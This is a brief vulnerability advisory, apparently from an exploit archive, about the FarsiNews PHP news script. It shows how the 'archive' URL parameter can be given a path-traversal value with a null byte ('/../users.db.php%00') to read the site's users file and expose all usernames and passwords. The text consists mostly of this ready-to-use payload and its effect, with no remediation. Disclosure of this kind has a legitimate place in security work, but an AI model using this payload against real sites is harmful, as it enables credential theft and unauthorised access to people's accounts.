in FarsiNews if you change the archive value :
http://localhost/index.php?archive=hamid
----------------------------[<error>]---------------------------

it means that shows.inc.php  try to open 
'/archives/hamid.news.arch.php'  (and also
'hamid.comments.arch.php')  to read it's data .
we can change the archive value to
'/../users.db.php%00' to see all username and password
